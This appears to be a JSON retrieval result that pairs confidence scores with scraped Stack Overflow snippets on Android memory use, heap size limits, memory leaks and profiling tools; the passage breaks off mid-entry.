{ "confidence": [ 48.38523864746094, 41.42213439941406, 40.275699615478516, 38.526214599609375, 38.1870002746582, 38.01276397705078, 37.604801177978516, 37.53828048706055, 37.3035888671875, 37.3035888671875, 36.79635238647461, 36.79635238647461, 36.3118896484375, 36.3118896484375, 35.8274040222168, 35.497886657714844, 35.29812240600586, 35.144561767578125, 34.798519134521484, 34.48967361450195, 34.48967361450195, 34.22076416015625, 34.22076416015625, 34.22076416015625, 34.22076416015625, 34.22076416015625, 33.95178985595703, 33.69586944580078, 33.595054626464844, 33.412315368652344, 33.412315368652344, 33.412315368652344, 33.412315368652344, 33.412315368652344, 33.412315368652344, 33.399681091308594, 32.44336700439453, 32.44336700439453, 32.44336700439453, 32.44336700439453, 32.44336700439453, 32.44336700439453, 32.44336700439453, 32.36368179321289, 32.36368179321289, 32.36368179321289, 32.34423065185547, 32.25239562988281, 32.25239562988281, 32.25239562988281, 32.02787780761719, 32.021095275878906, 31.66794776916504, 31.66794776916504, 31.555233001708984, 31.555233001708984, 31.443946838378906, 31.306743621826172, 31.306743621826172, 31.306743621826172, 31.306743621826172, 30.690250396728516, 30.586284637451172, 30.586284637451172, 30.586284637451172, 30.552536010742188, 30.552536010742188, 30.552536010742188, 30.539920806884766, 30.02666664123535, 29.66248321533203, 29.66248321533203, 29.66248321533203, 29.66248321533203, 29.66248321533203, 29.66248321533203, 29.66248321533203, 29.66248321533203, 29.66248321533203, 29.66248321533203, 29.66248321533203, 29.66248321533203, 29.574356079101562, 29.51671028137207, 29.51671028137207, 29.338375091552734, 29.30553436279297, 29.26852035522461, 29.254432678222656, 29.224609375, 29.16855239868164, 29.044944763183594, 28.953937530517578, 28.92733383178711, 28.92277717590332, 28.854034423828125, 28.854034423828125, 28.854034423828125, 28.854034423828125, 28.854034423828125 ], "content": [ "Insufficient memory in android device also leads to memory issue .", "how much device memory has", "When I run the application of a real Android Device HTC One M8-eye it takes about 66 MegaByte RAM of the device Allocated Memory .", "Android Admob Interstitial Memory leak http : stackoverflow.com questions 24463440 android-admob-interstitial-memory-leak .. . .. . Android AdMob causes memory leak", "You might also want to investigate here : android - out-of-memory http : stackoverflow.com questions 7282334 android-out-of-memory", "But device says that it takes too much of memory .", "or is there any other way of getting memory usage in android", "Some examples : .. . .. . Out of memory exception due to large bitmap size http : stackoverflow.com questions 5321579 out-of-memory-exception-due-to-large-bitmap-size .. . .. . Android : out-of-memory exception in Gallery http : stackoverflow.com questions 3238388 android-out-of-memory-exception-in-gallery .. . .. . Android handling out-of-memory exception on image-processing http : stackoverflow.com questions 3724082 android-handling-out-of-memory-exception-on-image-processing .. . .. . etc : http : stackoverflow.com search q android+out+of+memory+exception+bitmap", "When the app runs in the Samsung device the allocated memory is about 60 MB .", "When the app runs in the Motorola device the allocated memory is about 40 MB .", "A lot of memory-leaks in Android are related to Context .", "the problem is that in android I get memory problems .", "I m currently working on an embedded device using Android 2.3.3 with very few memory .", "I try convert dump from Android Device Monitor to Eclipse Memory Analyzer format .", "There is a memory leak reported by LeakCanary in my Android App .", "Have a look at how to find which reference is holding the memory in How to find Memory Leak Class Activity in Android http : stackoverflow.com questions 3714394 how-to-find-memory-leak-class-activity-in-android It is quite detailed .", "Are you trying to see free memory per device or per app", "Your variables and objects take x memory in both devices but your UI elements take more memory in Samsung in comparison to moto device .", "I decided to investigate my app s memory usage and I looked at Android Studio s Memory Monitor and my memory usage was around 68 MB .", "If it s too big the device might run out-of-memory .", "Note that device implementations MAY allocate more memory than these figures .", "I ve just recently started developing Android apps and facing memory issues .", "This is something like saving username and password in internal memory of android .", "I am developing my first Android App and it has memory leak .", "There are many problems with memory exceptions with bitmaps on Android many of which are discussed on stackoverflow .", "Check HEAP DUMP memory analysis tool in Android studio .", "Edit : for memory leak problem i had asked a question at Android Memory Usage Problem on possibly using ActivityGroup http : stackoverflow.com questions 5116728 android-memory-usage-problem-on-possibly-using-activitygroup", "Try to trace both java total memory with MAT and native memory usage wwboy6.wordpress.com 2012 12 09 android-ndk-memory-analyze http : wwboy6.wordpress.com 2012 12 09 android-ndk-memory-analyze", "Getting the available memory on the device is trivial : http : developer.android.com reference android app ActivityManager.html getMemoryClass .. . .. . The Android team has a great set of articles on bitmaps and memory if you haven t seen them yet : http : developer.android.com training displaying-bitmaps index.html .. . .. . Good luck", "PS : I have very limited knowledge on android-memory system : .. . .. .", "How can I find the memory used on my Android application programmatically", "Android needs to free up memory from time to time .", "Android system will reclaim any background activity when memory is low .", "I ve been wondering how much memory does an Object occupy on Android .", "Is it counted towards the 16 24MB memory limit for android Java application", "Or the corresponding blog post : android-developers.blogspot.com 2011 03 http : android-developers.blogspot.com 2011 03 memory-analysis-for-android.html", "I think it s better then memory tab in Android Studio", "If you need more memory - Android provides you with a tool to increase it .", "http : android-developers.blogspot.de 2009 01 avoiding-memory-leaks.html .", "Should it be cleared from memory or its how android works", "Activity B will only be removed if Android needs memory for something else .", "Memory mapping a large file on Android in Java works good .", "On a side note what s a good memory leak detector for Android using the emulator", "Now When I navigate to next activity I see there is a great change and increase in the memory when I analyzed it from android-studio memory analyzer .", "But As I am newbie into the android so I do not know how to control the heap and memory to save application to get run out memory .", "Good Google I O talk 2011 on Memory Management in Android as well as details on tools + techniques for memory profiling : .. . http : www.youtube.com watch v CruQY55HOk", "Out of curiosity I just recently tested my Android App for Memory Leaks using the Eclipse Memory Analyzer .", "I got problem about memory issues when developed android application it work slow performance it get more memory spaces and i want to know how to clear memory caches and how to increase app performance .", "will give you some information about the running memory but Dalvik tends to take as much memory as possible.. . .. . .. . To dig more into the Android memory you should use DDMS .", "Get the Eclipse Memory Analyzer http : www.eclipse.org mat Check http : kohlerm.blogspot.com 2010 02 android-memory-usage-analysis-slides.html and http : kohlerm.blogspot.com search label memory", "Linux s memory-management philosophy is Free memory is wasted memory .", "If I get the memory allocation using android-memory monitor I can clearly see the memory allocation grows.That is totally fine because we are doing some Image related things in activity B.Image Attached .", "I run my App in two different devices and check from Android Studio s Memroy tab the app s allocated memory .", "Samsung has additional layer of libraries for their custom UI on Android which will eventually lead the app to consume more memory .", "Android Studio 0.8.10+ has introduced an incredibly useful tool called Memory Monitor https : developer.android.com tools performance memory-monitor index.html .", "YouWave that is one of the emulators for runninng Android projects needs more memory for running some applications.How we can increase YouWave emulator memory", "We are using the built-in memory monitor http : developer.android.com intl zh-cn tools performance memory-monitor index.html in android-studio to walk through the memory usage of our mobile game .", "if you use android-emulator how much memory you set in the heap", "EDIT : It is important to note that as of Android 3.0 Bitmaps are no longer allocated in native memory .", "http : stackoverflow.com questions 6148812 android-admob-causes-memory-leak", "I m trying to diagnose a memory issue in my Android app .", "What is the maximum amount of memory in Megabytes as percentage of the total RAM that an Android application that is not a system app can use", "You can use DDMS http : android-developers.blogspot.co.il 2011 03 memory-analysis-for-android.html to further investigate your memory usage .", "I am seeing inconsistent documentation and discussion regarding what happens when Android is low on memory and the steps the OS takes to re-claim memory .", "Here is a simple listener that causes memory leak stackoverflow.com questions 7083441 http : stackoverflow.com questions 7083441 android-alertdialog-causes-a-memory-leak", "Depending on the type of device a bitmap that fills let s say half the screen will take up a sizeable chunk of memory .", "is there some trick to getting around the heap size and actually using the rest of the available memory in the device", "I want to get the size of free memory on internal external storage of my device programmatically .", "MAT does this for you automatically as noted here : android-developers.blogspot.in 2011 03 http : android-developers.blogspot.in 2011 03 memory-analysis-for-android.html 5D", "This is my app memory monitor in android kitkat on asus K00E tablet : .. .", "More information : Android Dev - Managing app memory http : developer.android.com training articles memory.html", "@ShakeebAyaz recycle only frees native memory and the documentation says this only applies for Android versions below 3.0 .", "If you have any semi- official links about memory fragmentation on Android I will gladly award the bounty to you .", "The activities are started normally with a specific launchMode by : .. . .. . Isn t Android supposed to destory activities currently not in use in order to free memory .", "Try the tools in What Android tools and methods work best to find memory resource leaks", "Take a look at this Google blog post http : android-developers.blogspot.com 2009 01 avoiding-memory-leaks.html .", "http : yekmer.posterous.com android-memory-management .. . .. . might be help this site.And you should free all reference .", "http : stackoverflow.com questions 477572 android-strange-out-of-memory-issue 823966 823966 .. . .. . 2 .", "As I researched Android allocates limit memory for each process maybe range from 16MB to 24MB for each one .", "If so check : stackoverflow.com questions 23652549 http : stackoverflow.com questions 23652549 clueless-about-a-possible-android-memory-leak", "@hackbod On Android 4.1 in a heap-dump of our app sPreloadedDrawables still accounts for about 5MB of retained memory .", "I have successfully finished an android project s implementation and started to test the app for memory-leaks .", "In in java you don t have to worry about memory allocation unless it is an issue outofmemoryexception android doesn t release memory as soon as your code is done with it Garbage Collection in android is a bit complicated and usually doesn t de-allocate allocated memory unless it is necessary to .", "Useful for this matter : Android not killing activities from stack when memory is low http : stackoverflow.com questions 11616575 android-not-killing-activities-from-stack-when-memory-is-low .", "I dumped an HPROF file and have it loaded up in the Eclipse MAT tool see How to analyze memory using android-studio http : stackoverflow.com questions 24547555 how-to-analyze-memory-using-android-studio .", "Android already handles memory of paused apps but rather than swapping out the processes to some virtual-memory which could be expensive it can just dump them to free the memory if required .", "Does this runtime will return memory usage by current process or overall system heap", "Unlike standard Android devices there isn t a way to connect directly to this device .", "What causes this differnce in memory allocation", "There s a difference between RAM memory and internal flash-memory right", "Considering that memory usage of an app is difficult for a core Android engineer to determine http : stackoverflow.com questions 2298208 how-to-discover-memory-usage-of-my-application-in-android 2299813 2299813 I would not assume that the app in question is necessarily providing particularly accurate results .", "It will not waste the memory .", "http : codingaffairs.blogspot.com 2016 07 processing-bitmap-and-memory-management.html http : For 20more 20info 20on 20this .. . .. . Now here are tips which you can follow and can avoid out-of-memory exception in your Android Application .", "You could use the RefWatcher to watch for fragment leaks : .. . .. . .. . .. . Besides if you want to get the heap-dump when memory leak happened just open the Android Device Monitor from Android Studio and select the tab File Explorer .", "I wanted to see how much memory consume my application but when I open Android Monitor it s showing this monitor is disabled even my application running on device and also selected in debuggable application .. . .. .", "possible duplicate of How do I discover memory usage of my application in Android", "http : stackoverflow.com questions 2298208 how-do-i-discover-memory-usage-of-my-application-in-android", "Dalvik Heap is memory allocated by Dalvik VM Ex : Variables in your Java Android code .", "Android may share pages of memory among several processes Think code of common frameworks .", "Android does not have swap mechanism so Dirty memory is also RAM that will be freed when app exits ." ] }
{ "confidence": [ 48.032325744628906, 47.13623809814453, 43.83319854736328, 43.38627624511719, 43.28506851196289, 43.033714294433594, 42.95180130004883, 42.920753479003906, 42.39107131958008, 41.75044250488281, 41.61260986328125, 41.54469299316406, 41.29159164428711, 41.23385238647461, 41.201019287109375, 41.135894775390625, 40.67229461669922, 40.22038650512695, 40.15577697753906, 39.707584381103516 ], "content": [ "Question : I run my App in two different devices and check from Android Studio s Memroy tab the app s allocated memory . When the app runs in the Samsung device the allocated memory is about 60 MB . When the app runs in the Motorola device the allocated memory is about 40 MB . What causes this differnce in memory allocation Devices : Samsung Galaxy S4 with 5.0.1 Android Version .. . .. . Motorola Moto G2 with 5.0.2 Android Version Comment : The resolution on each device is different for a start S4 xxhdpi Moto G2 xhdpi meaning all drawables mipmaps will have different resolution versions from your assets folders so loaded images will take more memory - try runnning your test on same screen density phones . Comment : This may give you hint developer.android.com training displaying-bitmaps http : developer.android.com training displaying-bitmaps manage-memory.html .. . Answer : Samsung has additional layer of libraries for their custom UI on Android which will eventually lead the app to consume more memory . Moto devices have stock native Android . Your variables and objects take x memory in both devices but your UI elements take more memory in Samsung in comparison to moto device . examplel : If stock android uses Button class Samsung will extend the Button class to make SamsungButton class which will have additional features like water droplet sound on click .", "Question : I have used proc meminfo and parsed command response.however it result shows that : .. . .. . MemTotal : 94348 kB MemFree : 5784 kB .. . .. . means . it shows there is only 5MB free memory . Is it possible with android mobile There is only 5-6 application installed on my mobile and no other task is running . but still this command shows there is very little free memory . Can somebody clarify this or is there any other way of getting memory usage in android Comment : Are you trying to see free memory per device or per app If per app then it needs to be calculated on the heap a-la Debug.getNativeHeapFreeSize . .. . Answer : Another way to calculate memory usage of currently running application . Comment : It is a simple approach but as it was indicated at the documentation the Runtime class freeMemory method returns the available memory for the current program or application . So be aware of that while using . Comment : it s wrong way.. .", "Question : I have used proc meminfo and parsed command response.however it result shows that : .. . .. . MemTotal : 94348 kB MemFree : 5784 kB .. . .. . means . it shows there is only 5MB free memory . Is it possible with android mobile There is only 5-6 application installed on my mobile and no other task is running . but still this command shows there is very little free memory . Can somebody clarify this or is there any other way of getting memory usage in android Comment : Are you trying to see free memory per device or per app If per app then it needs to be calculated on the heap a-la Debug.getNativeHeapFreeSize . .. . Answer : I refer few writings . reference : .. . .. . http : www.hanbit.co.kr network view.html bi id 1313 .. . How to get total RAM size of a device http : stackoverflow.com questions 7374246 how-to-get-total-ram-size-of-a-device .. . .. . This getMemorySize method is returned MemorySize that has total and free memory size . I don t believe this code perfectly . This code is testing on LG G3 cat.6 v5.0.1 .. . .. . I know that Pattern.compile is expensive cost so You may move its code to class member .", "Question : I have used proc meminfo and parsed command response.however it result shows that : .. . .. . MemTotal : 94348 kB MemFree : 5784 kB .. . .. . means . it shows there is only 5MB free memory . Is it possible with android mobile There is only 5-6 application installed on my mobile and no other task is running . but still this command shows there is very little free memory . Can somebody clarify this or is there any other way of getting memory usage in android Comment : Are you trying to see free memory per device or per app If per app then it needs to be calculated on the heap a-la Debug.getNativeHeapFreeSize . .. . Answer : you can also use DDMS tool which is part of android SDK it self . it helps in getting memory allocations of java code and native c c++ code as well . Comment : You should also tell us how to use it not just say use this .. .", "Question : Many posts have talked about Android heap size and so far what I ve found out is that the only common thing about max heap size is that it s at least 16MB but that was the limit ever since API 3 . For using more memory people would suggest to use the NDK or anything that is beyond the normal Android development . Is there any Android version that has a requirement from the devices to have a larger heap size so that I could start assuming a larger one and stop being so cheap on memory Is there also a requirement about the flag of the large heap from API 11 - honeycomb inside the manifest or is it a vague request that the device might even ignore it It s just that the Android hardware has improved so much over the years yet we still need to be so cheap on memory even though devices now have more than 1GB of ram . And it s weird that we can t ask from the OS to get us a specific amount of heap size and promise it that we won t use any more of this . .. . Answer : ok i ve finally found the answer thanks to this post http : stackoverflow.com a 16111924 878126 : .. . .. . the bare minimal for all versions of android including 5 is 16MB . the requirements for each of the android versions can be read about here : .. . .. . http : source.android.com compatibility downloads.html .. . .. . you can read about them by opening the CDD files and searching for Runtime Compatibility or Virtual Machine Compatibility for old versions . also you can find the minimal RAM requirement by searching for Memory and Storage but i think it s only the requirement for the system itself . so for example on 4.0.3 - 5 the minimal heap size is : .. . .. . 16MB : small normal with ldpi mdpi or large with ldpi .. . 32MB : small normal with tvhdpi hdpi or large with mdpi .. . 64MB : small normal with xhdpi or large with tvdpi hdpi or xlarge with mdpi . 96MB : small normal with 400dpi or xlarge with tvhdpi hdpi .. . 128MB : small normal with xxhdpi or large with xhdpi .. . 192MB : small normal with 560dpi or large with 400dpi or xlarge with xhdpi . 256MB : small normal with xxxhdpi or large with xxhdpi .. . 288MB : xlarge with 400dpi .. . 384MB : large with 560dpi or xlarge with xxhdpi .. . 512MB : large with xxxhdpi .. . 576MB : xlarge with 560dpi .. . 768MB : xlarge with xxxhdpi .. . .. . I can t find the minimal heap size for versions 3.x but it s probably the same as 4.0.3 . for 2.1 - 2.3 the minimal heap size is : .. . .. . Device implementations with screens classified as medium- or low-density MUST configure Dalvik to allocate at least 16MB of memory to each application . Device implementations with screens classified as high-density or extra-high-density MUST configure Dalvik to allocate at least 24MB of memory to each application . Note that device implementations MAY allocate more memory than these figures . meaning : .. . .. . medium screen or ldpi - 16MB .. . hdpi or xhdpi - 24MB .. . .. . i can t find the minimal heap size for version 1.6 but it s probably the same as 2.1 . also i can t find out what should the large-heap flag do for each of the android versions since 3.0 . Comment : Link to exact section here http : static.googleusercontent.com media source.android.com en us compatibility 4.4 android-4.4-cdd.pdf Comment : @ChristopherPerry true but this link will-change as the versions change.. .", "Question : I am quite curious about this question concerning the memory-management of the Android operating-system so I hope for a quite detailed answer on that topic . What I would like to know : .. . .. . What is the maximum amount of memory in Megabytes as percentage of the total RAM that an Android application that is not a system app can use Are there any differences between the various different Android versions Are there differences concerning the manufacturer of the device And most importantly : .. . .. . Which side factors are taken into consideration what does it depend on when it comes to determining how much RAM an app can use at runtime What I have heard so far : .. . .. . Early devices had a per-app cap of 16MB .. . Later devices increased that to 24MB or 32MB .. . .. . What makes me very curious : .. . .. . Both of these limits are very low . I have just recently downloaded the Android Task Manager https : play.google.com store apps details id com.james.SmartTaskManager hl de to check my devices RAM . What I have noticed is that there are applications using around 40-50 megabytes of RAM which is obvioulsy more than the mentioned maximum RAM usage of let s say 32 MB . So how is it calculated which RAM an app can use How is it possible that apps exceed that limit Furthermore I noticed that some apps of mine crash with an OutOfMemoryException when using around 30-40 Megabytes . On the other hand I have apps running on my phone using 100 MB and more a friend of mine once developed a leaking app : - that do not crash . So it obviously also depends on the app itself when it comes to determining how much RAM can be spared . How is this possible Thank you in advance for your explaination . PS : I am debugging on a HTC One S with 768Mb of RAM . .. . Answer : Memory limits per app are here depending on screen-size and Android version : https : drive.google.com file d 0B7Vx1OvzrLa3Y0R0X1BZbUpicGc view usp sharing .. . .. . Source : Android Compatibility Downloads http : source.android.com compatibility downloads.html Compatibility Definition Document CDD Section Virtual Machine Compatibility or Runtime Compatibility", "Question : We are using the built-in memory monitor http : developer.android.com intl zh-cn tools performance memory-monitor index.html in android-studio to walk through the memory usage of our mobile game . But the result shows that our game is allocated with only tens of MB memory . However as far as we have known our game consumes 200 MB+ memory when it is running on PC via PC platform for the game . So my question is what type of memory is the memory monitor showing PS : I have very limited knowledge on android-memory system : .. . .. . enter image description here http : i.stack.imgur.com LsRvs.png Comment : What type of device are you running for that screeenshot If it s RAM 32MB doesn t seem like a lot for a phone . Comment : My device is Xiaomi 3 Comment : go through this link. . developer.android.com intl es tools performance memory-monitor http : developer.android.com intl es tools performance memory-monitor index.html Comment : @AmitVaghela - that is the link already in the first line of the post .. . Answer : I believe what you are seeing is called the heap . This amount can change amongst various Android devices and can be increased in applications running on API Level 11+ by adding android : largeHeap true on the application element in the manifest to request a larger-than-normal heap size . See this post for additional information : Android heap size on different phones devices and OS versions http : stackoverflow.com questions 5350465 android-heap-size-on-different-phones-devices-and-os-versions Comment : While this link may answer the question it is better to include the essential parts of the answer here and provide the link for reference . Link-only answers can become invalid if the linked page changes . - From Review review low-quality-posts 10660737", "Question : I wanted to see how much memory consume my application but when I open Android Monitor it s showing this monitor is disabled even my application running on device and also selected in debuggable application .. . .. . enter image description here http : i.stack.imgur.com fXqhY.jpg .. . .. . enter image description here http : i.stack.imgur.com 4VdLt.jpg Already Enabled ADB integration .. . .. . enter image description here http : i.stack.imgur.com ufM2T.jpg .. . .. . I am wondering how to enable it . Thanks .. . Answer : You can Simply Go To Tools Android Android Device Monitor in That Monitor you can find tabs like System Information or Heap . Is this answer your question Update : .. . .. . another way you can have it . like this .. . Eclipse Preferences OSX Android DDMS check Thread Updates Enabled by Default .. . .. . Add Android Device view to get device pan e noted above .. . .. . Set android : debuggable true two g s in app tag as noted above .. . .. . Run your app in emulator .. . .. . Select device in device pane .. . .. . Click the update threads button Comment : Thanks for your answer No this is not you can see in below window there is option Memory and CPU in memory window showing this monitor is disable . why and how to enable Comment : @Ajit can you tell me whether you able to open DDMS Comment : Yes I am able to open DDMS . Comment : @Ajit There you can have Allocation Tracker and System Information Tabs right I think it s better then memory tab in Android Studio Comment : Yes there is Allocation Tracker and System Information tabs", "Question : Before enabling largeHeap option I was handling large bitmaps and it s consume almost the entire memory available for the application and recycling it over navigation and loading new ones works round on almost the full heap available . However when some operations needs a bit more memory the application crashes . So I enabled largeHeap true to have a bit more memory . But doing this has a unexpected behavior it s looks like that recycle method of bitmaps do not work most of times and the application that worked in 58Mb of memory and exceeds sometimes throwing a OutOfMemoryException now consumes memory exponentially and keeps growing for now the test I did came to 231Mb allocated memory the expected behavior is that the memory-management keeps working and the application will not use more than 60Mb . How can I avoid that Or efficiently recycle bitmaps EDIT : Actually I made it give a OutOfMemoryError when allocating more than 390Mb of memory on the device . Reading GC logs shown that only GC FOR ALLOC that freed 3.8Mb sometimes but almost never other GC runs freed something . Comment : Have you looked this great video youtube.com watch v CruQY55HOk http : www.youtube.com watch v CruQY55HOk I assume you have a memory leak in your code Comment : You ll have to tell us whether this is pre-Honeycomb or Honeycomb .. . Answer : Your case behaves as expected . Before Honeycomb recycle was unconditionally freeing the memory . But on 3.0 and above bitmaps are part of normal garbage collected memory . You have plenty of RAM on the device you allowed the JVM to allocate more than the 58M limit now the garbage collector is satisfied and has no incentive to reclaim memory occupied by your bitmaps . You can verify this by running on an emulator with controlled amount of RAM or load some memory consuming service on your device - GC will jump to work . You can use DDMS http : android-developers.blogspot.co.il 2011 03 memory-analysis-for-android.html to further investigate your memory usage . You can try some solutions for bitmap memory-management : Bitmaps in Android http : stackoverflow.com questions 1945142 bitmaps-in-android http : stackoverflow.com questions 10255910 bitmap-memory-leaks http : blog.javia.org how-to-work-around-androids-24-mb-memory-limit but start with the official Android bitmap tips http : developer.android.com training displaying-bitmaps index.html as explained in @Lalit Poptani http : stackoverflow.com users 726863 lalit-poptani s detailed answer http : stackoverflow.com a 12819091 192373 . Note that moving the bitmaps to OpenGL memory as textures has some performance implications but perfect if you will render these bitmaps through OpenGL in the end . Both textures and malloc solutions require that you explicitly free the bitmap memory which you don t use anymore .", "Question : When building my first Android app I noticed that memory usage was already approaching 20MB right when the app started . I downloaded the Eclipse MAT and viewed the contents to find hundreds if not thousands of bitmaps in memory . Many of which are not used directly in my project at least not so much that I would be aware .. . .. . Largest Image is 9MB : https : imagebin.ca v 2eCK4JYLO2f2 .. . .. . Others are much smaller : https : imagebin.ca v 2eCMmbFuIWsz .. . .. . Android seems to have gone to great lengths to reduce memory by using the zygote.. . so why are there so many unused bitmaps already in memory Basic project is a blank activity using Android Studio with fragment made up of a text view which simply says Hello World .. . Answer : I have found that the bitmaps are from the Zygote s memory-footprint . Since all java-based apps are started via the zygote this means that the minimal memory usage is determined by the size of memory in use by the Zygote which in turn is based on the display density of the device . Answers found : .. . Find the class that wastes memory http : stackoverflow.com questions 16214838 find-the-class-that-waste-the-memory .. . Locate remedy cause of large heap size http : stackoverflow.com questions 9653457 locating-and-remedying-cause-of-large-heap-size", "Question : I m developing application for Android Xamarin . At current moment is like prototype inside nothing heavy . I added app7compat support library and also implemented toolbar with navigation Drawer Layout . I make some test on real device Samsung Galaxy S4 Active and it s an like glitch bug because when application started android device monitor showing this : .. . enter image description here http : i.stack.imgur.com 8By8E.png .. . .. . How that is possible My activity contains : .. . .. . 1 . Toolbar with Drawer layout .. . 2 . Some different controls like imageView and imageButtons .. . .. . As i said that comes from start i mean that this 86 used memory allocated with strange items because there is no computing logic . Why this happens Thanks .. . Answer : As guys explained for me that is ok because from start application eats 86 of allocated memory after that if needed will grow up . Anothers tip was to put flag largeHeap and via RunTime to see how much memory can be allocated : .. . .. . and my result Samsung Galaxy S4 Active was : .. . .. . 512MB .. . .. . Hope that helps", "Question : I am getting this weird OutOfMemoryError that occurs although the dalvikvm reports enough heap space . Logs : .. . .. . As you can see right before the outofmemory occurs the dalvikvm reports about 10mb free memory after gc . The allocation is for a 800k bitmap . I doubt that there is a race-condition between gc and bitmap decoding here because the reported free memory of dalvik didn t drop below 8mb free memory in all log statements of the last 20-30 seconds before the crash . The problem occurs on a Samsung Galaxy Tab 2 10.1 running Android 4.1.2 . I m using a modified version of the ImageFetcher classes from the Google I O app 2012 so I m already doing stuff like inJustDecodeBounds when loading images to optimize sampleSize option . As per documentation in Managing Bitmap Memory https : developer.android.com training displaying-bitmaps manage-memory.html Android allocates Bitmap pixel data in the dalvik heap since Android 3.0 so why does decoding the bitmap cause an outofmemory with 10mb free memory Has anyone seen this before or may have an idea what s happening EDIT : Per request here https : code.google.com p iosched source browse android src com google android apps iosched util ImageFetcher.java name 2012 is the image loading code from the Google I O app 2012 . In my app I am just calling .. . .. . EDIT2 : The relevant image decoding methods extracted from above link-to make clear that I am already using sample size optimizations : Comment : Could you share the code so we can help you Comment : you need to recycle ur bitmap Comment : @Manitoba added the source link Comment : @ShakeebAyaz recycle only frees native memory and the documentation says this only applies for Android versions below 3.0 . Please correct me if the documentation is wrong . Comment : You should try to provide some more info about your whole app . It s not really possible that the system is killing your app with just 38 Mb occupied on a tablet . Are you sure you are not using some native memory The limit of your application is unique for Native memory + java heap . Are you using some native libraries Maybe opencv or gmaps Try to trace both java total memory with MAT and native memory usage wwboy6.wordpress.com 2012 12 09 android-ndk-memory-analyze http : wwboy6.wordpress.com 2012 12 09 android-ndk-memory-analyze .. . Answer : This code will be help full you to try this Comment : thanks but I m already doing that as stated above Comment : try these stackoverflow.com questions 15061364 http : stackoverflow.com questions 15061364 increasing-java-heap-size-in-eclipse-using-virtual-memory Comment : wiki.eclipse.org http : wiki.eclipse.org FAQ How do I increase the heap size available to Eclipse 3F Comment : thanks again but the error occurs on the device . Increasing the Eclipse heap size won t help I m afraid . Increasing the heap available for the apps on the device is not possible afaik . Comment : try this stackoverflow.com questions 477572 http : stackoverflow.com questions 477572 strange-out-of-memory-issue-while-loading-an-image-to-a-bitmap-object 823966 823966", "Question : I am quite curious about this question concerning the memory-management of the Android operating-system so I hope for a quite detailed answer on that topic . What I would like to know : .. . .. . What is the maximum amount of memory in Megabytes as percentage of the total RAM that an Android application that is not a system app can use Are there any differences between the various different Android versions Are there differences concerning the manufacturer of the device And most importantly : .. . .. . Which side factors are taken into consideration what does it depend on when it comes to determining how much RAM an app can use at runtime What I have heard so far : .. . .. . Early devices had a per-app cap of 16MB .. . Later devices increased that to 24MB or 32MB .. . .. . What makes me very curious : .. . .. . Both of these limits are very low . I have just recently downloaded the Android Task Manager https : play.google.com store apps details id com.james.SmartTaskManager hl de to check my devices RAM . What I have noticed is that there are applications using around 40-50 megabytes of RAM which is obvioulsy more than the mentioned maximum RAM usage of let s say 32 MB . So how is it calculated which RAM an app can use How is it possible that apps exceed that limit Furthermore I noticed that some apps of mine crash with an OutOfMemoryException when using around 30-40 Megabytes . On the other hand I have apps running on my phone using 100 MB and more a friend of mine once developed a leaking app : - that do not crash . So it obviously also depends on the app itself when it comes to determining how much RAM can be spared . How is this possible Thank you in advance for your explaination . PS : I am debugging on a HTC One S with 768Mb of RAM . .. . Answer : What is the maximum amount of memory in Megabytes as percentage of the total RAM that an Android application that is not a system app can use That varies by device . getMemoryClass on ActivityManager http : developer.android.com reference android app ActivityManager.html getMemoryClass 28 29 will give you the value for the device your code is running upon . Are there any differences between the Android versions Yes insofar as OS requirements have increased over the years and devices have to adjust to match . Are there differences concerning the manufacturer of the device Yes insofar as manufacturers manufacture devices and the size varies by device . Which side factors are taken into consideration when it comes to determining how much RAM an app can use I have no idea what side factors means . Early devices had a per-app cap of 16MB Later devices increased that to 24MB or 32MB .. . .. . That s about right . Screen resolution is a significant determinant as larger resolutions mean larger bitmaps and so tablets and high-resolution phones will tend to have higher values yet . For example you will see devices with 48MB heaps and I wouldn t be surprised if there are values higher than that . How is it possible that apps exceed that limit You assume that the author of that app knows what s he is doing . Considering that memory usage of an app is difficult for a core Android engineer to determine http : stackoverflow.com questions 2298208 how-to-discover-memory-usage-of-my-application-in-android 2299813 2299813 I would not assume that the app in question is necessarily providing particularly accurate results . That being said native-code NDK is not subject to the heap limit . And since Android 3.0 apps can request a large heap usually in the hundreds of MB range but that s considered poor form-for most apps . Furthermore I noticed that some apps of mine crash with an OutOfMemoryException when using around 30-40 Megabytes . Bear in mind that the Android garbage collector is not a compacting garbage collector . The exception really should be CouldNotFindSufficientlyLargeBlockOfMemoryException but that was probably deemed too wordy . OutOfMemoryException means that you could not allocate your requested block not that you have exhausted your heap entirely .", "Question : This is the error messages shown in Android Studio 1.4 console Comment : You need to increase the ram allocated to running your virtual device . I ll get some details .. . Answer : It is the first time you try to open the emulator in my experience why i receive that warning its because i saturate the memory with others app make sure you close other instances and clear the memory . Other thing you can try its in the menu of AVD Manager in the advanced settings increase the memory RAM of the virtual device you have configured . I hope this can help you . Comment : You mean you should decrease your memory RAM in AVD it has to be lower than the maximum allowed in HAXM", "Question : I have used proc meminfo and parsed command response.however it result shows that : .. . .. . MemTotal : 94348 kB MemFree : 5784 kB .. . .. . means . it shows there is only 5MB free memory . Is it possible with android mobile There is only 5-6 application installed on my mobile and no other task is running . but still this command shows there is very little free memory . Can somebody clarify this or is there any other way of getting memory usage in android Comment : Are you trying to see free memory per device or per app If per app then it needs to be calculated on the heap a-la Debug.getNativeHeapFreeSize . .. . Answer : it depends on your definition of what memory query you wish to get . usually you d like to know the situation of the heap-memory since if it gets too much memory used you would get OOM and crash the app . for this you can check the next values : .. . .. . the more the usedMemInMB variable gets closed to maxHeapSizeInMB the closer you get OOM . That s also what the DDMS tool of memory usage shows . there s also the real RAM usage which is how much the entire system work . Comment : This is very useful Comment : Wow . So simple yet so true", "Question : I have used proc meminfo and parsed command response.however it result shows that : .. . .. . MemTotal : 94348 kB MemFree : 5784 kB .. . .. . means . it shows there is only 5MB free memory . Is it possible with android mobile There is only 5-6 application installed on my mobile and no other task is running . but still this command shows there is very little free memory . Can somebody clarify this or is there any other way of getting memory usage in android Comment : Are you trying to see free memory per device or per app If per app then it needs to be calculated on the heap a-la Debug.getNativeHeapFreeSize . .. . Answer : I looked at Android Source Tree . Inside com.android.server.am . ActivityManagerService.java internal service exposed by android.app . ActivityManager . Inside android.os . Process.java .. . .. . It calls JNI method from android util Process.cpp https : android.googlesource.com platform frameworks base + master core jni android util Process.cpp .. . .. . Conclusion .. . .. . MemoryInfo.availMem MemFree + Cached in proc meminfo . Notes .. . .. . Total Memory is added in API level 16 . Comment : I like your answser", "Question : I have used proc meminfo and parsed command response.however it result shows that : .. . .. . MemTotal : 94348 kB MemFree : 5784 kB .. . .. . means . it shows there is only 